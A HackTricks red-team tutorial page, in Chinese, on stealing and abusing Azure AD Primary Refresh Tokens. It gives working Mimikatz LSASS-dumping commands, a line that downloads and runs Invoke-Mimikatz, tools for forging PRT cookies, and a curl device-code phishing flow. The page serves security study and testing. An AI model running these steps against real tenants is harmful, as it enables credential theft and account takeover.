Az - Primary Refresh Token (PRT)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
什么是主刷新令牌 (PRT)?
主刷新令牌 (PRT) 是一种在 Azure AD (Entra ID) 身份验证中使用的长期刷新令牌,类似于 Kerberos TGT。它在用户登录 Azure AD 连接的设备时发放,可以用于请求各种应用程序的访问令牌,而无需重新输入凭据。每个 PRT 附带一个 会话密钥(也称为持有证明密钥)——一个用于签署请求并证明客户端拥有 PRT 的对称密钥。PRT 本身是一个不透明的、加密的二进制数据块(客户端无法读取),而会话密钥用于在请求令牌时 签署 包含 PRT 的 JWT。换句话说,仅拥有 PRT 是不够的;攻击者需要会话密钥来证明合法性,类似于需要 Kerberos TGT 及其会话密钥进行身份验证。
在 Windows 上,PRT 和会话密钥通过 CloudAP 插件缓存于 LSASS 进程中。如果设备具有 TPM(受信任的平台模块),Azure AD 会将密钥绑定到 TPM 以增强安全性。这意味着在配备 TPM 的设备上,会话密钥存储或使用在 TPM 内,通常情况下无法直接从内存中读取。如果没有可用的 TPM(例如,许多虚拟机或旧系统),密钥将保存在软件中,并通过 DPAPI 加密进行保护。在这两种情况下,具有管理权限或在机器上执行代码的攻击者可以尝试 从内存中转储 PRT 和会话密钥 作为后期利用的一部分,然后使用它们在云中冒充用户。 与典型的刷新令牌(通常是特定于应用程序的)不同,PRT 更广泛,允许您的设备请求几乎任何 Entra ID 集成资源或服务的令牌。
PRT 如何工作?
以下是 PRT 操作的简化分解:
- 设备注册:
-
当您的设备(如 Windows 笔记本电脑或手机)加入或注册到 Entra ID 时,它使用您的凭据(用户名/密码/MFA)进行身份验证。
-
在成功身份验证后,Entra ID 发放一个专门绑定到您设备的 PRT。
- 令牌存储:
- PRT 安全地存储在您的设备上,通常由受信任的平台模块(TPM)等硬件功能保护,确保未授权方难以提取或滥用。
- 单点登录 (SSO):
-
每次您访问受 Entra ID 保护的应用程序(例如,Microsoft 365 应用、SharePoint、Teams)时,您的设备会静默地使用存储的 PRT 请求并获取该应用程序的特定访问令牌。
-
您无需反复输入凭据,因为 PRT 透明地处理身份验证。
- 续订和安全性:
-
PRT 的生命周期较长(通常约为 14 天),但只要您的设备在积极使用中,就会不断续订。
-
如果您的设备被攻陷或丢失,管理员可以远程撤销您的 PRT,立即阻止未授权访问。
为什么 PRT 强大?
-
通用访问: 与通常限于一个应用或资源的令牌不同,PRT 可以促进对所有 Entra ID 集成服务的访问。
-
增强安全性: 通过内置的硬件保护(如 TPM),PRT 确保安全的令牌存储和使用。
-
用户体验: PRT 显著改善用户体验,减少频繁的身份验证提示,实现真正的无缝 SSO。
如何知道 PRT 是否存在?
- 检查 PRT 是否存在:
# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES
- 检查是否受到TPM保护:
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.
dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
传递 PRT
根据 this post 在没有 TPM 绑定的 Windows 设备上,PRT 及其会话密钥存储在 LSASS(CloudAP 插件)中。通过在该设备上拥有本地管理员/SYSTEM 权限,可以 从 LSASS 读取 PRT blob 和 DPAPI 加密的会话密钥,使用 DPAPI 解密会话密钥,并推导出签名密钥 以生成有效的 PRT cookie (x‑ms‑RefreshTokenCredential)。您需要 PRT 和其会话密钥——仅有 PRT 字符串是不够的。
Mimikatz
- PRT(主刷新令牌)从 LSASS(本地安全授权子系统服务)中提取并存储以供后续使用。
- 接下来提取会话密钥。鉴于该密钥最初由本地设备发出,然后重新加密,因此需要使用 DPAPI 主密钥进行解密。有关 DPAPI(数据保护 API)的详细信息可以在这些资源中找到:HackTricks,要了解其应用,请参考 Pass-the-cookie attack。
- 在解密会话密钥后,获得 PRT 的派生密钥和上下文。这些对于 创建 PRT cookie 至关重要。具体而言,派生密钥用于签名构成 cookie 的 JWT(JSON Web Token)。 Dirk-jan 提供了该过程的全面解释,可以在 here 找到。
privilege::debug
sekurlsa::cloudap
# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
PRT字段包含加密的刷新令牌(通常是base64字符串),而ProofOfPossessionKey中的KeyValue是DPAPI加密的会话密钥(也是base64)。
然后,从**sekurlsa::cloudap输出中,复制字段ProofOfPossessionKey内KeyValue**的base64 blob(这是用DPAPI加密的会话密钥)。这个加密的密钥不能直接使用 – 必须使用系统的DPAPI凭据进行解密。
因为DPAPI加密系统秘密需要机器的系统上下文,所以将你的令牌提升到SYSTEM,并使用Mimikatz的DPAPI模块进行解密:
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
token::elevate 将模拟 SYSTEM,dpapi::cloudapkd 命令与 /unprotect 将使用 DPAPI 主密钥解密提供的 KeyValue blob。这将产生明文会话密钥以及用于签名的相关派生密钥和上下文:
- 明文密钥 – 32 字节的明文会话密钥(以十六进制字符串表示)。
- 派生密钥 – 从会话密钥和上下文值派生的 32 字节密钥(下面会详细介绍)。
- 上下文 – 用于派生 PRT cookie 签名密钥的 24 字节随机上下文。
Note
如果这对您模拟用户无效,请检查以下部分使用
AADInternals。
然后,您还可以使用 mimikatz 生成有效的 PRT cookie:
# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
Mimikatz 将在“Signature with key”行之后输出一个签名的 JWT(PRT cookie),该 JWT 包含 PRT,并使用派生密钥进行签名。这个 JWT 可以被复制,然后在网络会话中使用。例如,攻击者可以打开浏览器,访问 login.microsoftonline.com,并设置一个名为 x-ms-RefreshTokenCredential 的 cookie,其值为这个 JWT。当浏览器刷新或导航时,Azure AD 会将会话视为已认证(PRT cookie 被呈现得好像发生了 SSO),并将为指定资源发放授权码或访问令牌。在实践中,用户会导航到像 Office 365 或 Azure 门户这样的资源;有效的 PRT cookie 的存在意味着 Azure AD 将在无需额外登录的情况下授予访问权限(绕过 MFA,因为 PRT 已经被认证)。
您还可以使用 roadtx 和 roadrecon 与 PRT cookie 的 PRT 来冒充用户 (TODO: 找到使用 roadtx/roadrecon 从 PRT 获取凭据的确切命令行)。
Mimikatz + AADInternals
AADInternals PowerShell 模块也可以与之前获得的 PRT 和会话密钥一起使用,以生成有效的 PRT 令牌。这对于自动化获取带有 nonce 的新 PRT 令牌的过程非常有用,该令牌可用于获取 Azure AD Graph API 或其他资源的访问令牌:
# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"
# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}
# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"
# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))
# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
这会获取一个新的 PRT cookie(带有 nonce),然后使用它来获取 Azure AD Graph API 的访问令牌(代表用户演示云访问)。AADInternals 抽象了大部分加密,并在后台使用 Windows 组件或其自己的逻辑。
Mimikatz + roadtx
- 首先更新 PRT,这将把它保存在
roadtx.prt:
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
- 现在我们可以使用交互式浏览器通过
roadtx browserprtauth请求令牌。如果我们使用roadtx describe命令,我们会看到访问令牌包含 MFA 声明,因为我在这种情况下使用的 PRT 也有 MFA 声明。
roadtx browserprtauth
roadtx describe < .roadtools_auth
.png)
Mimikatz + roadrecon
通过mimikatz获取上下文和派生密钥后,可以使用roadrecon生成一个新的签名cookie:
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
滥用受保护的 PRTs
尽管有上述保护措施,已经攻陷设备的攻击者(作为本地用户或甚至 SYSTEM)仍然可以 滥用 PRT 来获取新的访问令牌,通过利用 Windows 自身的令牌代理 API 和安全组件。攻击者基本上是 “请求” Windows 代表他们使用 PRT,而不是 提取 原始 PRT 或密钥。在下面的部分中,我们概述了在启用 TPM 保护的最新 Windows 设备上滥用 PRT 及其会话密钥的当前有效技术。所有这些技术假设在目标机器上具有后渗透访问,并且 专注于滥用内置身份验证流程(不需要未修补的漏洞)。
Windows 令牌代理架构和 SSO 流程
现代 Windows 通过内置的 令牌代理 堆栈处理云身份验证,该堆栈包括用户模式和 LSASS(本地安全授权)中的组件。该架构的关键部分包括:
-
LSASS CloudAP 插件: 当设备加入 Azure AD 时,LSASS 加载云身份验证包(例如
CloudAP.dll、aadcloudap.dll、MicrosoftAccountCloudAP.dll),这些包管理 PRT 和令牌请求。LSASS(以 SYSTEM 身份运行)协调 PRT 的存储、续订和使用,并与 TPM 接口以执行加密操作(如使用会话密钥对 PRT 挑战进行签名)。 -
Web 账户管理器(WAM): Windows Web 账户管理器是一个用户模式框架(通过 COM/WinRT API 访问),允许应用程序或浏览器请求云账户的令牌,而无需提示输入凭据。WAM 充当用户应用程序与安全的 LSASS/TPM 支持的 PRT 之间的代理。例如,微软的 MSAL 库和某些操作系统组件使用 WAM 静默获取使用已登录用户的 PRT 的令牌。
-
BrowserCore.exe 和令牌代理 COM 接口: 对于浏览器 SSO,Windows 包含一个名为 BrowserCore.exe 的组件(位于 Windows Security\BrowserCore 下)。这是一个本地消息主机,浏览器(Edge、通过扩展的 Chrome 等)使用它来获取用于 Azure AD 登录的 PRT 派生的 SSO 令牌。在底层,BrowserCore 利用
MicrosoftAccountTokenProvider.dll提供的 COM 对象来检索基于 PRT 的 cookie/令牌。本质上,这个 COM 接口是一个第一方“令牌代理”API,任何以用户身份运行的进程都可以调用以获取 SSO 令牌(前提是用户在 LSASS 中有有效的 PRT)。
当 Azure AD 加入的用户尝试访问资源(例如 Azure 门户)时,流程通常是:一个应用程序调用 WAM 或 BrowserCore 的 COM 接口,后者与 LSASS 通信。LSASS 使用 PRT 和会话密钥(由 TPM 保护)生成 SSO 令牌——通常称为 PRT cookie——然后将其返回给应用程序或浏览器。PRT cookie 是一个特殊的 JWT,包含加密的 PRT 和一个随机数,使用从 PRT 的会话密钥派生的密钥进行签名。这个 cookie 被发送到 Azure AD(在 x-ms-RefreshTokenCredential 头中)以证明设备和用户持有有效的 PRT,从而允许 Azure AD 为各种应用程序发放标准的 OAuth 刷新和访问令牌。值得注意的是,PRT 中存在的任何多因素身份验证(MFA)声明将被带入通过此 SSO 过程获得的令牌,这意味着基于 PRT 的令牌可以满足 MFA 保护的资源。
用户级令牌窃取(非管理员)
当攻击者具有 用户级代码执行 权限时,PRT 的 TPM 保护并不能阻止攻击者获取令牌。攻击者 利用内置的 Windows 令牌代理 API:
BrowserCore(MicrosoftAccountTokenProvider COM)
BrowserCore 暴露了一个 COM 类(MicrosoftAccountTokenProvider,CLSID {a9927f85-a304-4390-8b23-a75f1c668600})来获取 PRT cookie。这个 COM API 被浏览器(Chrome/Edge 扩展)合法调用以进行 Azure AD SSO。
RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
(返回 Azure AD 刷新令牌或 PRT cookie)
ROADtoken 将从正确的目录运行 BrowserCore.exe 并使用它来 获取 PRT cookie。然后可以使用此 cookie 与 ROADtools 进行身份验证并 获取持久的刷新令牌。
要生成有效的 PRT cookie,您首先需要一个 nonce。
您可以通过以下方式获取:
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
"URI" = $URL
"Method" = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
或使用 roadrecon:
roadrecon auth prt-init
然后您可以使用 roadtoken 来获取新的 PRT(从用户的进程中运行该工具进行攻击):
.\ROADtoken.exe <nonce>
作为单行:
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
然后您可以使用生成的 cookie来生成令牌以使用 Azure AD Graph 或 Microsoft Graph 登录:
# Generate
roadrecon auth --prt-cookie <prt_cookie>
# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
Web Account Manager (WAM) APIs
攻击者利用用户级进程中的合法 Microsoft 身份验证库 (MSAL, WAM APIs, WebAuthenticationCoreManager) 静默地检索令牌,利用 TPM 保护的 PRT。
execute-assembly aadprt.exe
(通过 COM 接口检索 PRT cookie)
execute-assembly listwamaccounts.exe
(列出通过 WAM 登录的 Azure AD 账户;识别令牌目标)
- 通用示例 (使用 MSAL 的 PowerShell):
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken
(静默获取访问令牌,利用 PRT)
管理员 / SYSTEM 级别令牌滥用
如果攻击者升级到 管理员或 SYSTEM,他们可以直接冒充任何已登录 Azure AD 的用户,并使用相同的 COM/WAM 令牌代理 API。TPM 保护的 PRT 并不阻止这种合法的令牌发放。
用户冒充和令牌检索
管理员/SYSTEM 可以冒充其他用户的运行会话,以调用 BrowserCore 或 WAM 进行令牌生成。
为此,只需冒充用户进程(例如,explorer.exe)并使用前一节中评论的任何技术调用令牌代理 API。
直接 LSASS 和令牌代理交互(高级)
管理员仍然可以与 LSASS 一起工作以滥用 PRT:例如,管理员可以向 LSASS 注入代码或调用内部 CloudAP 函数以提示 LSASS 生成令牌。Dirk-jan 的研究指出,管理员可以“使用加密 API 与 LSASS 中的 PRT 密钥进行交互”。在实践中,这可能意味着使用 LSASS 自身的函数(通过 API hooking 或 RPC 等技术,如果可用)来生成 PRT cookie。另一种方法是利用会话密钥可能出现在内存中的任何窗口——例如,在 PRT 更新或设备注册时,它未加密以供使用。这类攻击复杂且具有情境性。更直接的管理员策略是滥用现有的令牌句柄或缓存:LSASS 在内存中缓存最近发放的应用程序刷新令牌(使用 DPAPI 加密)。一个决心坚定的 SYSTEM 攻击者可以尝试提取这些受 DPAPI 保护的令牌(使用用户的主密钥,管理员可以获得)以直接窃取特定应用程序的刷新令牌。然而,最简单和最通用的方法仍然是冒充和使用文档化的令牌代理接口,因为这些接口保证 Azure AD 将发放新令牌(带有所有适当的声明),而不是尝试破解加密。
钓鱼 PRT
利用 OAuth 设备代码 流程,使用 Microsoft Authentication Broker 客户端 ID (29d9ed98-a469-4536-ade2-f981bc1d605e) 和 设备注册服务 (DRS) 资源来获取 可以在注册一个 恶意设备 后升级为主刷新令牌 (PRT) 的 刷新令牌。
为什么这有效
- PRT 是 设备绑定的,并启用 几乎所有 Entra 保护应用的 SSO。
- Broker 客户端 + DRS 组合允许被钓鱼的 刷新令牌 在设备注册后 交换为 PRT。
- MFA 不会被绕过:用户在钓鱼过程中执行 MFA;MFA 声明传播到生成的 PRT,让攻击者在 没有进一步提示 的情况下访问应用。
前提条件:
- 通过设备代码进行用户身份验证,使用 Broker 客户端 ID (
29d9ed98-a469-4536-ade2-f981bc1d605e) 和 DRS 范围/资源(例如,01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default或https://enrollment.manage.microsoft.com/)。 - 用户可以在 Entra ID 中注册设备(默认:允许,但可以限制或配额限制)。
- 没有阻止 CA 策略,这些策略 禁用设备代码 或 要求合规/混合设备 用于目标应用(这些不会阻止 PRT 发放,但 会 阻止 使用 它访问受保护的应用)。
- 攻击者控制的主机 以运行流程并持有令牌/设备密钥。
攻击流程:
- 使用 client_id = Broker 和 DRS 范围/资源启动设备代码身份验证;向受害者显示 用户代码。
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
-
受害者在微软网站上登录(合法用户界面)并完成 MFA → 攻击者收到一个 DRS 范围的刷新令牌 用于 Broker 客户端。
-
使用该刷新令牌在租户中注册一个恶意设备(设备对象被创建并链接到受害者)。
-
**通过交换 刷新令牌 + 设备身份/密钥 来 升级到 PRT → PRT 绑定到攻击者的设备。
-
(可选持久性):如果 MFA 是新鲜的,注册一个 Windows Hello for Business 密钥 以保持 长期无密码访问。
-
滥用:兑换 PRT(或铸造 PRT cookie)以获取 Exchange/Graph/SharePoint/Teams/自定义应用 的 访问令牌 作为用户。
公共工具和概念验证
- ROADtools/ROADtx: 自动化 OAuth 流程、设备注册和令牌升级。
- DeviceCode2WinHello: 单命令脚本自动化设备代码钓鱼到 PRT+WHfB 密钥。
参考文献
- Dirkjan 关于 PRT 的博客文章
- Dirkjan 关于钓鱼 PRT 的文章
- Dirkjan 关于滥用 PRT 的文章
- SpecterOps 关于 请求 Azure AD 请求令牌的文章
- AADInternals 关于 PRT 的文章
- blog.3or.de
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

